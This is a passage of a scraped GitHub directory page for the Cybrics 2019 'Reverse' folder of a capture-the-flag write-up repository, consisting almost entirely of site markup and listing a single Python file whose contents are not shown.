1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> fg0x0 </span> <span>/</span> CTF-Writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/fg0x0/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":198331347,"originating_url":"https://github.com/fg0x0/CTF-Writeups/tree/master/Cybrics2019/Reverse","user_id":null}}" data-hydro-click-hmac="9ab3ff89359f89e7e335677db4f3057e5f4789fe7017521894b720150f04ff5c"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/fg0x0/CTF-Writeups/refs" cache-key="v0:1563846770.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ZmcweDAvQ1RGLVdyaXRldXBz" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/fg0x0/CTF-Writeups/refs" cache-key="v0:1563846770.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ZmcweDAvQ1RGLVdyaXRldXBz" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>Cybrics2019</span></span><span>/</span>Reverse<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>Cybrics2019</span></span><span>/</span>Reverse<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/fg0x0/CTF-Writeups/tree-commit/401cb571f8a312fa3ec1d1d54348809e3f07cf2f/Cybrics2019/Reverse" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/fg0x0/CTF-Writeups/file-list/master/Cybrics2019/Reverse"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>oldmanReverse.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 